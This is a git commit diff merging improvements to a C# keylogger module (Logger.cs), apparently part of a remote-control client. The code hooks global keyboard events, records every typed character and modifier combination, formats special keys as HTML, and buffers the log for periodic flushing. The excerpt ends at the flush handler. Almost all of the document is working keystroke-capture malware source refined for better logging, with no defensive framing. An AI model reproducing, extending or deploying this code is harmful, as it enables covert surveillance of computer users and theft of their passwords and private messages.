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Merge pull request #10 from d3agle/Keylogger 

d3agle'd Keylogger :)
This commit is contained in:
Justin Yanke 2015-05-22 22:41:54 -04:00
parent 8c09decce7 df27608f7b
commit e01b0af583
1 changed files with 103 additions and 39 deletions
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142
Client/Core/Keylogger/Logger.cs
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@ -50,6 +50,8 @@ public Logger(double flushInterval)
_timerFlush.Enabled = true;
_timerFlush.Start();
Application.Run();
}
~Logger()
@ -127,63 +129,125 @@ private void Unsubscribe()
m_Events.Dispose();
}
private void OnKeyDown(object sender, KeyEventArgs e)
private void OnKeyDown(object sender, KeyEventArgs e) //Called first
{
PressedKeys.Add(e.KeyCode);
if (PressedKeys.Contains(Keys.LControlKey) //if modifier keys are still down, they will be highlighted, including any other key pressed
|| PressedKeys.Contains(Keys.RControlKey)
|| PressedKeys.Contains(Keys.LMenu)
|| PressedKeys.Contains(Keys.RMenu)
|| PressedKeys.Contains(Keys.LWin)
|| PressedKeys.Contains(Keys.RWin))
{
if (!PressedKeys.Contains(e.KeyCode)) //prevent multiple keypresses holding down a key
PressedKeys.Add(e.KeyCode);
}
else if ((e.KeyCode >= Keys.A && e.KeyCode <= Keys.Z) //exclude keys here we don't want to log and return, KeyPress event can handle these if it is a character value
|| (e.KeyCode >= Keys.NumPad0 && e.KeyCode <= Keys.Divide)
|| (e.KeyCode >= Keys.D0 && e.KeyCode <= Keys.D9)
|| (e.KeyCode >= Keys.Oem1 && e.KeyCode <= Keys.OemClear
|| (e.KeyCode >= Keys.LShiftKey && e.KeyCode <= Keys.RShiftKey)
|| (e.KeyCode == Keys.CapsLock)))
{
return;
}
else if (e.KeyCode == Keys.Enter)
{
_logFileBuffer.Append("<font color=\"0000FF\">(ENTER)</font><br>"); //this could be where the KeyloggerKeys enum would be handy
}
else if (e.KeyCode == Keys.Space)
{
_logFileBuffer.Append(" ");
}
else if (e.KeyCode == Keys.Back)
{
_logFileBuffer.Append("<font color=\"0000FF\">(BACK)</font>");
}
else if (e.KeyCode == Keys.Delete)
{
_logFileBuffer.Append("<font color=\"0000FF\">(DEL)</font>");
}
else if (e.KeyCode >= Keys.Left && e.KeyCode <= Keys.Down)
{
_logFileBuffer.Append("<font color=\"0000FF\">(" + e.KeyCode.ToString() + ")</font>");
}
else
if (!PressedKeys.Contains(e.KeyCode)) //prevent multiple keypresses holding down a key
PressedKeys.Add(e.KeyCode);
}
private void OnKeyUp(object sender, KeyEventArgs e)
private void Logger_KeyPress(object sender, KeyPressEventArgs e) //Called second
{
//This method should be used to process all of our unicode characters
_logFileBuffer.Append(e.KeyChar);
}
private void OnKeyUp(object sender, KeyEventArgs e) //Called third
{
_logFileBuffer.Append(HighlightSpecialKeys(PressedKeys.ToArray()));
PressedKeys.Remove(e.KeyCode);
}
private void Logger_KeyPress(object sender, KeyPressEventArgs e)
{
_logFileBuffer.Append(e.KeyChar + " ");
}
private string HighlightSpecialKeys(Keys[] _names)
{
if (_names.Length < 1) return string.Empty;
string[] names = new string[_names.Length];
Array.Copy(_names, names, _names.Length);
return HighlightSpecialKeys(names);
}
private string HighlightSpecialKeys(string[] names)
{
if (names.Length < 1) return string.Empty;
StringBuilder specialKeys = new StringBuilder();
int ValidSpecialKeys = 0;
for (int i = 0; i < names.Length; i++)
for (int i = 0; i < _names.Length; i++)
{
if (!string.IsNullOrEmpty(names[i]))
names[i] = _names[i].ToString();
}
if (PressedKeys.Contains(Keys.LControlKey)
|| PressedKeys.Contains(Keys.RControlKey)
|| PressedKeys.Contains(Keys.LMenu)
|| PressedKeys.Contains(Keys.RMenu)
|| PressedKeys.Contains(Keys.LWin)
|| PressedKeys.Contains(Keys.RWin))
{
StringBuilder specialKeys = new StringBuilder();
int ValidSpecialKeys = 0;
for (int i = 0; i < names.Length; i++)
{
if (ValidSpecialKeys == 0)
PressedKeys.Remove(_names[i]);
if (!string.IsNullOrEmpty(names[i]))
{
specialKeys.AppendFormat("<font color=\"0000FF\">([{0}] ", names[i]);
}
else
{
specialKeys.AppendFormat("+ [{0}]", names[i]);
}
if (ValidSpecialKeys == 0)
{
specialKeys.AppendFormat("<font color=\"0000FF\">([{0}] ", names[i]);
}
else
{
specialKeys.AppendFormat("+ [{0}]", names[i]);
}
ValidSpecialKeys++;
ValidSpecialKeys++;
}
}
}
// If there are items in the special keys string builder, give it an ending
// font tag and some trailing white-space.
if (ValidSpecialKeys > 0)
// If there are items in the special keys string builder, give it an ending
// font tag and some trailing white-space.
if (ValidSpecialKeys > 0)
{
specialKeys.Append(")</font> ");
}
return specialKeys.ToString();
}
else
{
specialKeys.Append(")</font> ");
}
StringBuilder normalKeys = new StringBuilder();
return specialKeys.ToString();
for (int i = 0; i < names.Length; i++)
{
PressedKeys.Remove(_names[i]);
if (!string.IsNullOrEmpty(names[i]))
{
normalKeys.Append(names[i]);
}
}
return normalKeys.ToString();
}
}
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)